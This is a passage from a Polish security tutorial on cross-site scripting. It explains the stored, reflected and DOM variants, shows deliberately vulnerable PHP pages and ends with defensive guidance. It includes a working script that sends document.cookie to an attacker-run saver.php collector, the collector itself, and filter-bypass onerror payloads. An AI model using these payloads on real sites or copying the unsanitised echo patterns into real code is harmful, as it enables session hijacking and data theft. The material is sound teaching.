5. Wstrzykiwanie

5.1. Cross site scripting (XSS)

Podatności z rodziny XSS polegają na wstrzyknięciu kodu JavaScript w dokument HTML wykorzystując podatne miejsca, którym może być istniejący kod JavaScript, tak HTML, atrybut HTML, adres URL, ciąg znaków w JavaScripcie. Warunkiem koniecznym do przeprowadzenia ataku jest możliwość przekazania do takiego miejsca tekstu będącego pod kontrolą użytkownika (a tym samym atakującego) bez odpowiedniej weryfikacji czy nie zawiera złośliwych, niepoprawnych, nieoczekiwanych elementów. Podatności XSS można podzielić na trzy kategorie:

  • reflected XSS – gdy podatność występuje w wyniku wykonania zapytania z dołączonym złośliwym kodem, który dodaje lub modyfikuje zawartość wyświetlonej strony,
  • stored XSS – gdy podatność polega na zapisaniu w aplikacji kodu, który zostanie wyświetlony i wykonany kolejnym użytkownikom (np. w systemie blogowym, w komentarzach do strony),
  • DOM XSS – gdy do wykorzystania podatności dochodzi w wyniku wykorzystania istniejącego już kodu strony, który używa operacji umożliwiających wykonanie nowego kodu jak eval(), document.write() czy też ustawianie zawartości innerHTML elementu drzewa DOM.

Skutkiem podatności XSS jest możliwość pełnego przejęcia sesji użytkownika, eksfiltracja danych, kradzież ciasteczek i wykonanie dowolnej operacji, którą w danym kontekście mógłby świadomie wykonać użytkownik. Możliwe jest też podmienianie fragmentów strony (perfect phishing) tak aby użytkownik myślał, że wykonuje inne czynności niż w rzeczywistości. Przy okazji ten typ podatności może umożliwić wspomniany wcześniej atak CSRF. Przyjrzyjmy się kilku przykładom, aby zrozumieć mechanizm działania podatności.

Stored XSS

Przyjrzyjmy się prostemu przykładowi. Załóżmy, że system blogowy pozwala użytkownikowi zapisać do artykułu dowolną treść, w tym elementy HTML (dla udostępnienia ładnego wyglądu). Można sobie wyobrazić, że w bazie danych znajdzie się następujący zapis:

CREATE DATABASE demo;
USE demo;
CREATE TABLE blog(
  id INTEGER AUTO_INCREMENT,
  content TEXT, 
  PRIMARY KEY(id));
INSERT INTO blog(content) VALUES ('<script>alert(1);</script>’);

natomiast kod wyświetlający stronę będzie wyglądał następująco:

<?php
  $mysqli = new mysqli("localhost","root","","demo");
  if ($mysqli -> connect_errno) {
      echo "Failed to connect to MySQL: " . $mysqli -> connect_error;
      exit();
  }
  if ($result = $mysqli -> query("SELECT * FROM blog;")) {
      while($row = $result->fetch_assoc()) {
          echo "id: " . $row["id"]. " - Content: " . $row["content"] . "<br>";
      }
      $result -> free_result();
   }
   $mysqli -> close();
?>

Próba otworzenia takiej strony spowoduje natychmiastowe wykonanie zapisanego (stored) w bazie danych skryptu JavaScript. Treść zapisana w bazie danych, bez żadnej weryfikacji pod kątem bezpieczeństwa zostaje wykonana w kontekście sesji użytkownika.

Okno przeglądarki, efekt działania osadzonego XSS

Reflected XSS

Przykład odbitego ataku jest trochę bardziej skomplikowany, ale opiera się na tej samej zasadzie. Ataki tego typu, jako, że znajdują się w zapytaniu GET są też widoczne w logach serwera http, możliwe jest więc proaktywne śledzenie takich prób.

W tym przykładzie zbudujemy podatne na atak okienko wyszukiwania:

Okienko wyszukiwania w aplikacji internetowej

realizowane przez następujący kod znajdujący się w pliku search.php

<?php
    setcookie("mycookie" , "a-very-secret-value");
?>
<html>
   <body>
   <h1>Wyszukiwanie:</h1>
   <form action="search.php" method="GET">
     <input name="searchtext" size="100" /><input type="submit"/>
   </form>
<?php
    if ($_GET["searchtext"]!="") {
        echo "Wyniki dla zapytania: ".$_GET["searchtext"]."</br></br>";
    }
?>
</body></html>

Jak łatwo zauważyć, problemem jest zwrócenie bezpośrednio użytkownikowi treści, którą wpisał w okienko zapytania. Na początek, aby sprawdzić czy mamy podatność spróbujmy wstrzyknąć kod HTML:

Okno przeglądarki z formularzem

wynikiem będzie wstrzyknięcie elementu <u>

Okno przeglądarki z formularzem i wynikiem wstrzyknięcia HTML

W tej sytuacji naturalnym będzie spróbować wstrzyknąć kod JavaScript. Spróbujmy więc wykraść ustawiane przez stronę ciasteczko:

Okno przeglądarki z formularzem i wstrzykniętym kodem JavaScript

efektem będzie okno wyskakujące z zawartością ciasteczka

Okno przeglądarki z alertem wyświetlającym wykradzione ciasteczko

Atak można rozbudować do formy phishingu za pośrednictwem strony, która będzie zawierała link aktywujący podatność (badlink.html):

Fragment kodu html

dający wyświetloną stronę:
Widok przeglądarki ze złośliwym linkiem

Po kliknięciu takiego linku, efekt będzie taki sam jak poprzednio.

Jak wspomniano poprzednio – działanie takiego ataku widać w logach serwera:

Fragment logu serwera

Ostatnim przykładem jest połączenie podatności z zapytaniem zewnętrznym – prowadzące efektywnie do CSRF. Niech naszym kodem JavaScript będzie:

<script>
   var xhr = new XMLHttpRequest();
   var x = document.cookie;
   xhr.open('GET', '<a href="http://127.0.0.1:8088/saver.php?val='+" class="_blanktarget">http://127.0.0.1:8088/saver.php?val='+</a> encodeURIComponent(x));
   xhr.send();
</script>

i posiadamy na kontrolowanym przez siebie serwerze (dowolnym) skrypt saver.php zapisujący przekazane w zapytaniu dane:

<?php
    if ($_GET["val"]!="") {
        $fp = fopen('data.txt', 'a');
        fwrite($fp,urldecode($_GET["val"])."\n");
        fclose($fp);
     }
Formularz ze złośliwim kodem JavaScript

W wyniku czego wygenerowana zostanie strona o treści zawierającej nasz skrypt

Fragment kodu HTML

I na docelowym serwerze w pliku data.txt znajdzie się nasze ciasteczko, które może pozwolić, na przykład na przejęcie naszej uwierzytelnionej sesji.

Zawartość pliku na serwerze atakującego

Ochrona

Ochrona przed podatnościami XSS nie jest prosta. Interpreter JavaScript oraz parsery HTML w przeglądarkach pozwalają na wiele niedociągnięć w kodzie chroniąc użytkowników przed drobnymi błędami na stronach jednocześnie ułatwiając tym samym tego typu ataki. Tak jak w pierwszym przykładzie wstrzyknięty tag <u> był niedomknięty i nie spowodowało to problemów, tak i inne podobne błędy będą niezauważone przez użytkowników. Także techniki filtrowania stosowane w ochronie muszą być bardzo elastyczne, gdyż istnieje wiele sposobów obchodzenia filtrów w ramach dopuszczalnej składni np. dla filtru odfiltrowującego próby umieszczenia reakcji onerror=… można spróbować:

<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
<
img src='1' onerror/=alert(0) />
<img/src='1'/onerror=alert(0)>

Podstawowe zasady, nie wyczerpujące problemu to:

  • enkodowanie danych - takie kodowanie danych aby w danym kontekście nie zostały zinterpretowane jako coś wykonywalnego,
  • nie używać eval z danymi zależnymi od użytkownika,
  • nie używać funkcji manipulacji DOM jak innerHTML z danymi zależnymi od użytkownika, zamiast tego modyfikować zawartość (innerText),
  • korzystać z przetestowanych bibliotek do filtracji danych i systemów szablonowych   kodujących dane przed zwróceniem do przeglądarki,
  • uważać na przekierowania i linki w przypadku danych pochodzących od użytkownika,
  • jeśli dopuszczamy tagi HTML w danych użytkownika to whitelistować a nie blacklistować, gdyż standard dopuszcza definiowanie własnych tagów,
  • upload plików- uwaga na pliki ładowane przez użytkownika - te też mogą zawierać złośliwy kod i jeśli je serwujemy to najlepiej z osobnej domeny/subdomeny, co w połączeniu z ustawieniami ciasteczek uchroni przed ich kradzieżą,
  • korzystać z mechanizmu Content-Security-Policy,
  • w przypadku cookie - o ile można, korzystać z atrybutu httpOnly ukrywającego cookie przed JavaScriptem.

Więcej na ten temat można znaleźć w [25] oraz [24].